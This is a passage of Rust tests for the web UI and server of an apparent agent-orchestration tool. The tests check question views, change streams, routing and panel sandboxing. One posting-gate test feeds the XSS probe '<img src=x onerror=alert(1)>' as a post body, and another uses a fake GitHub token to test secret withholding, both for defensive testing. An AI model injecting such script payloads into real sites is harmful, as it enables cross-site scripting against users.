17728 "main".to_owned(),
17729 "abc".to_owned(),
17730 "x".to_owned(),
17731 crate::config::Config::default(),
17732 );
17733 let p = run_prose_md(&state);
17734 assert!(p.advice_md.is_none());
17735 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17736 }
17737
17738 #[test]
17739 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17740 let store = ask::Questions::at(PathBuf::from("unused"));
17741 let gt = crate::github_text::Withheld {
17742 title: false,
17743 body: true,
17744 categories: vec!["sensitive-data".into()],
17745 };
17746 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17747 let (detail, comparison) =
17748 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17749 let mut q = Question::new(
17750 "r".into(),
17751 "github-text".into(),
17752 "posting-gate".into(),
17753 "s".into(),
17754 detail,
17755 Vec::new(),
17756 );
17757 assert!(
17758 QuestionView::of(q.clone(), &store, None)
17759 .posting_view
17760 .is_none()
17761 );
17762 q.posting_comparison = Some(comparison);
17763 let view = QuestionView::of(q.clone(), &store, None);
17764 let field = &view.posting_view.unwrap().fields[0];
17765 assert_eq!(
17766 field
17767 .original
17768 .iter()
17769 .map(|f| f.text.as_str())
17770 .collect::<String>(),
17771 body
17772 );
17773 assert!(field.original[0].text.starts_with("<img"));
17774 let original_question: Question =
17775 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17776 assert_eq!(original_question, q);
17777 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17778 .original
17779 .start = 1;
17780 assert!(
17781 QuestionView::of(q.clone(), &store, None)
17782 .posting_view
17783 .is_none()
17784 );
17785 q.posting_comparison = original_question.posting_comparison;
17786 q.detail.push_str("extra context");
17787 assert!(
17788 QuestionView::of(q.clone(), &store, None)
17789 .posting_view
17790 .is_some()
17791 );
17792 q.detail.insert(0, 'x');
17793 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
17794 }
17795
17796 #[test]
17797 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17798 let store = ask::Questions::at(PathBuf::from("unused"));
17799 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17800 let gt = crate::github_text::Withheld::from_check(
17801 &crate::github_text::check("fix: x", body),
17802 "fix: x",
17803 body,
17804 )
17805 .unwrap();
17806 let (detail, comparison) =
17807 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17808 let mut q = Question::new(
17809 "r".into(),
17810 "github-text".into(),
17811 "posting-gate".into(),
17812 "s".into(),
17813 detail,
17814 Vec::new(),
17815 );
17816 q.posting_comparison = Some(comparison);
17817 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
17818 let field = &value["posting_view"]["fields"][0];
17819 let group = &field["replacement_group"];
17820 let triggers = group["triggers"].as_array().unwrap();
17821 assert_eq!(triggers.len(), 2);
17822 assert_ne!(triggers[0], triggers[1]);
17823 for id in triggers {
17824 assert!(
17825 field["original"]
17826 .as_array()
17827 .unwrap()
17828 .iter()
17829 .any(|f| &f["pair"] == id)
17830 );
17831 assert!(
17832 !field["changed"]
17833 .as_array()
17834 .unwrap()
17835 .iter()
17836 .any(|f| &f["pair"] == id)
17837 );
17838 }
17839 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17840 group["id"].as_u64().unwrap() as usize;
17841 assert!(
17842 QuestionView::of(q, &store, None).posting_view.is_none(),
17843 "group and trigger IDs cannot collide"
17844 );
17845 }
17846
17847 #[test]
17848 fn a_question_view_carries_markdown_for_each_thread_turn() {
17849 let home = TempDir::new().unwrap();
17850 let store = ask::Questions::at(home.path().join("questions"));
17851 let mut q = Question::new(
17852 "run".to_owned(),
17853 "implement".to_owned(),
17854 "impl-A".to_owned(),
17855 "which?".to_owned(),
17856 String::new(),
17857 Vec::new(),
17858 );
17859 q.say("plain words").unwrap();
17860 q.reply("use **this**", Vec::new()).unwrap();
17861 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17862 let bodies = &v["thread_bodies_md"];
17863 assert_eq!(bodies.as_array().unwrap().len(), 2);
17864 assert!(!bodies[0].to_string().contains("strong"));
17865 assert!(bodies[1].to_string().contains("strong"));
17866 }
17867
17868 #[test]
17869 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17870 let home = TempDir::new().unwrap();
17871 let store = ask::Questions::at(home.path().join("questions"));
17872 let mut q = Question::new(
17873 "run".to_owned(),
17874 "conduct".to_owned(),
17875 "conduct".to_owned(),
17876 "which?".to_owned(),
17877 String::new(),
17878 Vec::new(),
17879 );
17880 q.say("plain words").unwrap();
17881 q.thread.push(ask::Turn {
17882 who: ask::Who::Agent,
17883 body: "Settled as `merge`".to_owned(),
17884 at: jiff::Timestamp::now(),
17885 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17886 });
17887 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17888 let notes = &v["thread_notes_md"];
17889 assert_eq!(notes.as_array().unwrap().len(), 2);
17890 assert!(notes[0].is_null());
17891 let text = notes[1].to_string();
17892 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17893 assert!(APP_JS.contains("ask-turn-note"));
17894 }
17895
17896 #[test]
17897 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17898 assert!(APP_JS.contains("function landView(run, raw) {"));
17902 assert!(
17903 APP_JS.contains(
17904 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17905 )
17906 );
17907 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17908 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17909 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17910 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17911 }
17912
17913 #[test]
17914 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17915 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17916 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17917 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17918 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17919 }
17920
17921 #[test]
17922 fn review_rounds_label_a_distinct_verified_head() {
17923 assert!(APP_JS.contains("round.verified_head"));
17924 assert!(APP_JS.contains("verified HEAD"));
17925 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17926 }
17927
17928 #[test]
17929 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17930 assert!(APP_JS.contains("blocked: { glyph:"));
17934 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17935
17936 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17940 assert!(
17941 APP_JS.contains(
17942 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17943 ),
17944 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17945 );
17946 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17950
17951 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17955 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17956 assert!(
17957 APP_JS.contains("location.hash = \"#/questions\";"),
17958 "a question node must jump to the Questions screen, not pretend to be a task"
17959 );
17960
17961 assert!(APP_JS.contains("Resolved questions"));
17964 assert!(APP_JS.contains("r.answersList.append("));
17965 assert!(APP_CSS.contains(".task-answers"));
17966 {
17967 let start = APP_JS
17968 .find("function updateTalkTaskRow")
17969 .expect("updateTalkTaskRow");
17970 let body = &APP_JS[start..];
17971 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17972 assert!(
17973 body.contains(
17974 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17975 ),
17976 "a chat-filed task row must link to the task page"
17977 );
17978 assert!(
17979 !body.contains("#/runs/") && !body.contains("#/queue/"),
17980 "the row must not branch to a run or the queue card"
17981 );
17982 assert!(APP_CSS.contains(".talk-task-link"));
17983 }
17984 }
17985
17986 #[test]
17987 fn a_task_notification_links_to_the_task_page() {
17988 let start = APP_JS
17990 .find("function noticeLink(")
17991 .expect("noticeLink exists");
17992 let body = &APP_JS[start..];
17993 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17994 assert!(
17995 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17996 "a task notice's link must target the task page"
17997 );
17998 assert!(
17999 !body.contains("#/queue/"),
18000 "regression: the task link must not go back to the Backlog route"
18001 );
18002 assert!(
18003 APP_JS.contains(
18004 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18005 ),
18006 "`#/tasks/<id>` must parse into the task route"
18007 );
18008
18009 assert!(
18011 APP_JS.contains(
18012 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18013 ),
18014 "`#/queue/<id>` must parse into a route carrying that id"
18015 );
18016
18017 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18021 assert!(APP_JS.contains("function consumeQueueFocus()"));
18022 assert!(APP_JS.contains("jumpToTask(id)"));
18023 }
18024
18025 #[test]
18026 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18027 let start = APP_JS
18028 .find("function noticeCoveredBy(")
18029 .expect("noticeCoveredBy exists");
18030 let body = &APP_JS[start..];
18031 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18032
18033 assert!(body.contains("q.status === \"open\""));
18035 assert!(body.contains("href: \"#/questions\""));
18036 assert!(body.contains("Answer in question"));
18037
18038 assert!(body.contains("(resolved)"));
18040 assert!(body.contains("(closed)"));
18041 }
18042
18043 #[test]
18046 fn chat_rows_put_the_title_alone_on_the_first_line() {
18047 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18048 assert!(APP_CSS.contains(
18049 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18050 ));
18051 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18052 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18053 }
18054
18055 #[test]
18056 fn run_rows_put_the_title_alone_on_the_first_line() {
18057 assert!(
18058 APP_CSS.contains(
18059 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18060 )
18061 );
18062 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18063 assert!(APP_JS.contains("class: \"card run-card\""));
18064 assert!(APP_JS.contains("class: \"repo run-id\""));
18065 }
18066
18067 #[test]
18071 fn wide_screens_show_list_and_preview_side_by_side() {
18072 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18074 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18075 assert!(APP_CSS.contains("main[data-split]"));
18076 assert!(APP_CSS.contains("body[data-split]"));
18077
18078 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18080 assert!(
18081 APP_JS.contains(
18082 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18083 )
18084 );
18085 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18086 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18087 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18088
18089 assert!(APP_JS.contains("function markSelected() {"));
18091 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18092 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18093 assert!(
18095 APP_CSS.contains(
18096 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18097 )
18098 );
18099
18100 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18102 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18103 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18104 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18105
18106 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18110 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18111 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18112 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18113
18114 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18116 }
18117
18118 #[test]
18119 fn panel_sandbox_carries_exactly_popups() {
18120 let needle = "sandbox: \"";
18121 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18122 assert_eq!(
18123 matches.len(),
18124 1,
18125 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18126 );
18127 let start = matches[0].0 + needle.len();
18128 let end = APP_JS[start..]
18129 .find('"')
18130 .expect("sandbox attribute value must be terminated by a closing quote");
18131 let val = &APP_JS[start..start + end];
18132 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18133 let expected: std::collections::BTreeSet<&str> =
18134 ["allow-popups", "allow-popups-to-escape-sandbox"]
18135 .into_iter()
18136 .collect();
18137 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18138 assert!(
18139 !tokens.contains("allow-scripts"),
18140 "allow-scripts must never be present in sandbox"
18141 );
18142 assert!(
18143 !tokens.contains("allow-same-origin"),
18144 "allow-same-origin must never be present in sandbox"
18145 );
18146 }
18147
18148 #[test]
18149 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18150 assert!(
18159 APP_JS.contains(
18160 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18161 ),
18162 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18163 recursive renderQueue() call has nothing left to jump to"
18164 );
18165 assert!(
18166 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18167 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18168 arrives later still gets it"
18169 );
18170 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18171 assert!(APP_JS.contains("is not in the current Backlog."));
18172 assert!(APP_JS.contains("li.card[data-task-id=\""));
18173 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18174 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18175 assert!(APP_CSS.contains(".card-permalink"));
18176 assert!(APP_CSS.contains(".queue-focus-status"));
18177 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18178 }
18179
18180 #[test]
18181 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18182 assert!(
18190 APP_JS.contains(
18191 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18192 ),
18193 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18194 );
18195 }
18196
18197 #[test]
18198 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18199 assert!(
18200 APP_JS.contains("round.verified_head !== round.head"),
18201 "a round that verified an earlier commit must be visibly distinct from one that \
18202 verified the head reviewers are looking at now"
18203 );
18204 assert!(
18205 APP_JS.contains("round.verified_at"),
18206 "when a check ran must be on the wire, not just which commit"
18207 );
18208 assert!(
18209 APP_JS.contains("resource_blocked"),
18210 "a command magi never got to run (shared build cache contention) must not render \
18211 the same as a command that ran and failed"
18212 );
18213 }
18214
18215 #[test]
18216 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18217 assert!(
18225 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18226 "every KPI tile built through statusTile() must route its click through \
18227 openRunsFiltered, the single place that sets the Runs filter"
18228 );
18229 for (label, status) in [
18230 ("Merged", "merged"),
18231 ("Ready", "ready"),
18232 ("Blocked", "blocked"),
18233 ("Stalled", "stalled"),
18234 ] {
18235 let call = format!("statusTile(\"{label}\", t.{status}, ");
18236 assert!(
18237 APP_JS.contains(&call),
18238 "expected the {label} KPI tile built via {call}..."
18239 );
18240 assert!(
18241 APP_JS.contains(&format!("status === \"{status}\"")),
18242 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18243 compare a run against, not one invented only for the stats tile"
18244 );
18245 }
18246 assert!(
18247 APP_JS.contains("function openRunsFiltered(status)"),
18248 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18249 );
18250 assert!(
18251 APP_JS.contains(
18252 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18253 ),
18254 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18255 );
18256 assert!(
18264 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18265 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18266 hashchange event that may never fire"
18267 );
18268 }
18269
18270 #[test]
18271 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18272 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18278 assert!(
18279 APP_JS.contains(
18280 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18281 ),
18282 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18283 guard for an incompatible tree section"
18284 );
18285 }
18286
18287 #[test]
18288 fn every_stats_queue_tile_names_a_real_queue_section() {
18289 assert!(
18295 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18296 "every queue tile built through sectionTile() must route its click through \
18297 openQueueSectionFocus"
18298 );
18299 for key in ["upnext", "running", "done", "held", "blocked"] {
18300 assert!(
18301 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18302 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18303 );
18304 }
18305 for line in [
18309 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18310 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18311 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18312 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18313 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18314 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18315 ] {
18316 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18317 }
18318 }
18319
18320 #[test]
18321 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18322 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18329 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18330 assert!(APP_JS.contains("function revealQueueSection(details)"));
18331 assert!(
18332 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18333 "renderQueue() must consume both focus channels on every pass"
18334 );
18335 assert!(
18336 APP_JS.contains(
18337 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18338 ),
18339 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18340 the recursive renderQueue() call has nothing left to reveal"
18341 );
18342 assert!(
18343 APP_JS.contains(
18344 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18345 ),
18346 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18347 );
18348 assert!(
18356 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18357 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18358 hashchange event that may never fire"
18359 );
18360 }
18361
18362 #[tokio::test]
18363 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18364 let f = Fixture::start().await;
18365
18366 let mut socket = tokio::net::TcpStream::connect(f.addr)
18367 .await
18368 .expect("connect");
18369 socket
18370 .write_all(
18371 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18372 )
18373 .await
18374 .expect("write request");
18375
18376 let mut seen = String::new();
18379 let mut buf = [0u8; 1024];
18380 while !seen.contains("event: change") {
18381 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18382 .await
18383 .expect("the stream must speak within five seconds")
18384 .expect("read");
18385 assert!(read > 0, "the server closed the change stream: {seen}");
18386 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18387 }
18388
18389 assert!(
18390 seen.to_lowercase()
18391 .contains("content-type: text/event-stream"),
18392 "the browser only reconnects automatically for a real SSE stream: {seen}"
18393 );
18394 let data = seen
18395 .lines()
18396 .find_map(|l| l.strip_prefix("data:"))
18397 .expect("a data line");
18398 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18399 assert!(
18400 payload["queue_rev"].is_u64()
18401 && payload["runs_rev"].is_u64()
18402 && payload["questions_rev"].is_u64()
18403 && payload["talks_rev"].is_u64()
18404 && payload["notifications_rev"].is_u64()
18405 && payload["loop_rev"].is_u64(),
18406 "the client needs one revision per store to know what to refetch, \
18407 and `talks_rev` is the only notification a standing talk gets - a \
18408 phone whose radio slept through a turn learns about it here, as \
18409 does one whose operator started the loop from another device: \
18410 {payload}"
18411 );
18412
18413 let health = f.get("/api/health").await.json();
18420 for key in [
18421 "queue_rev",
18422 "runs_rev",
18423 "questions_rev",
18424 "talks_rev",
18425 "notifications_rev",
18426 "loop_rev",
18427 ] {
18428 assert!(
18429 health[key].is_u64(),
18430 "health is the change stream's fallback and is missing `{key}`: {health}"
18431 );
18432 }
18433 }
18434
18435 #[tokio::test]
18436 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18437 let f = Fixture::start().await;
18438 let before = f.get("/api/health").await.json()["talks_rev"]
18439 .as_u64()
18440 .expect("talks_rev");
18441
18442 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18443 std::thread::sleep(Duration::from_millis(10));
18444 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18445 on_disk.turns.push(crate::talk::Turn {
18446 sender: None,
18447 breaks: Some(Vec::new()),
18448 messages: Vec::new(),
18449 posted_by: None,
18450 who: crate::talk::Who::Operator,
18451 body: "a new turn".to_owned(),
18452 at: Timestamp::now(),
18453 attachments: Vec::new(),
18454 usage: None,
18455 });
18456 f.talks().put(&mut on_disk).expect("record a turn");
18457
18458 let after = f.get("/api/health").await.json()["talks_rev"]
18459 .as_u64()
18460 .expect("talks_rev");
18461 assert_ne!(
18462 before, after,
18463 "a phone must be able to notice a talk's reply without polling every store"
18464 );
18465 }
18466
18467 #[test]
18468 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18469 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18473 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18474 }
18475 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18476 assert!("everywhere".parse::<Bind>().is_err());
18477 }
18478
18479 #[test]
18480 fn an_explicit_bind_address_is_taken_verbatim() {
18481 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18482
18483 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18484
18485 assert_eq!(addr, asked);
18486 assert!(
18487 warning.is_none(),
18488 "an operator who named an address gets no lecture"
18489 );
18490 }
18491
18492 #[test]
18493 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18494 let (addr, warning) = resolve_bind(&Bind::Auto);
18495
18496 match addr {
18503 IpAddr::V4(ip) if is_tailnet(&ip) => {
18504 assert!(warning.is_none(), "a tailnet address needs no warning");
18505 }
18506 other => {
18507 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18508 let warning = warning.expect("a fallback has to explain itself");
18509 assert!(
18510 warning.contains("127.0.0.1") && warning.contains("local-only"),
18511 "the warning says what happened and what it costs: {warning}"
18512 );
18513 }
18514 }
18515 }
18516
18517 #[test]
18518 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18519 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18523 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18524 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18525 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18526 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18527 }
18528
18529 #[test]
18530 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18531 let ids = vec![
18532 "20260902-140501-aaaa".to_owned(),
18533 "20260902-140502-aabb".to_owned(),
18534 ];
18535
18536 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18537 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18538 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18539
18540 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18541 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18542 assert_eq!(short, "20260902-140502-aabb");
18543 }
18544 #[tokio::test]
18545 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18546 let fx = Fixture::start().await;
18552 let id = panel(
18553 &fx,
18554 "<img src=\"shot.png\">",
18555 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18556 );
18557
18558 let doc = fx
18560 .get(&format!("/api/questions/{id}/panel/index.html"))
18561 .await;
18562 assert_eq!(doc.status, 200, "{}", doc.body);
18563 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18564
18565 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18566 assert_eq!(sibling.status, 200, "{}", sibling.body);
18567 assert_eq!(sibling.header("content-type"), Some("image/png"));
18568 assert_eq!(
18569 sibling.header("content-security-policy"),
18570 Some(PANEL_CSP),
18571 "the sibling route must carry the same policy as the asset route"
18572 );
18573
18574 assert_eq!(
18577 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18578 200
18579 );
18580 }
18581
18582 #[test]
18583 fn delta_stamps_cover_add_update_remove_and_noop() {
18584 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18585 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18586 let delta = diff_stamps(&before, &after, 42);
18587 assert_eq!(delta.base, 42);
18588 assert_eq!(delta.changed, ["b", "c"]);
18589 assert_eq!(delta.removed, ["a"]);
18590 let same = diff_stamps(&after, &after, 43);
18591 assert!(same.changed.is_empty() && same.removed.is_empty());
18592 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18593 let nanos: Stamps = [("b".into(), (2, 20))].into();
18594 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18595 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18596 assert_eq!(stamps_revision(&Stamps::new()), 0);
18597 }
18598
18599 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18600 std::fs::create_dir_all(home.join("runs")).unwrap();
18601 Arc::new(Ui::new(
18602 Queue::at(home.join("queue")),
18603 Questions::at(home.join("questions")),
18604 Talks::at(home.join("talks")),
18605 home.join("runs"),
18606 home.to_owned(),
18607 PathBuf::from("/repo/magi"),
18608 ))
18609 }
18610
18611 #[tokio::test]
18612 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18613 let home = TempDir::new().unwrap();
18614 let ui = delta_test_ui(home.path());
18615 let mut task = Task::new(
18616 "stream task".into(),
18617 "text".into(),
18618 PathBuf::from("/repo"),
18619 Source::Human,
18620 );
18621 ui.queue.put(&mut task).unwrap();
18622 let response = events(State(ui.clone())).await.into_response();
18623 let mut stream = response.into_body().into_data_stream();
18624 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18625 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18626 .await
18627 .unwrap()
18628 .unwrap()
18629 .unwrap();
18630 let text = String::from_utf8(chunk.to_vec()).unwrap();
18631 let data = text
18632 .lines()
18633 .find_map(|line| {
18634 line.strip_prefix("data: ")
18635 .or_else(|| line.strip_prefix("data:"))
18636 })
18637 .unwrap();
18638 serde_json::from_str(data).unwrap()
18639 }
18640 let initial = change(&mut stream).await;
18641 assert!(initial.get("queue_delta").is_none());
18642 task.instruction.push_str(" changed");
18643 ui.queue.put(&mut task).unwrap();
18644 let updated = change(&mut stream).await;
18645 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18646 assert_eq!(
18647 updated["queue_delta"]["changed"],
18648 serde_json::json!([task.id])
18649 );
18650 assert_eq!(
18651 updated["queue_rev"].as_u64(),
18652 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18653 );
18654 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18655 let removed = change(&mut stream).await;
18656 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18657 assert_eq!(
18658 removed["queue_delta"]["removed"],
18659 serde_json::json!([task.id])
18660 );
18661 }
18662
18663 #[tokio::test]
18664 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18665 let home = TempDir::new().unwrap();
18666 let ui = delta_test_ui(home.path());
18667 let queue = ui.queue.clone();
18668 let query = |ids: Option<&str>| {
18669 Query(ListQuery {
18670 limit: Some(2),
18671 ids: ids.map(str::to_owned),
18672 })
18673 };
18674 let mut root = Task::new(
18675 "root".into(),
18676 "instruction".into(),
18677 PathBuf::from("/repo"),
18678 Source::Human,
18679 );
18680 queue.put(&mut root).unwrap();
18681 let mut blocked = Task::new(
18682 "blocked".into(),
18683 "instruction".into(),
18684 PathBuf::from("/repo"),
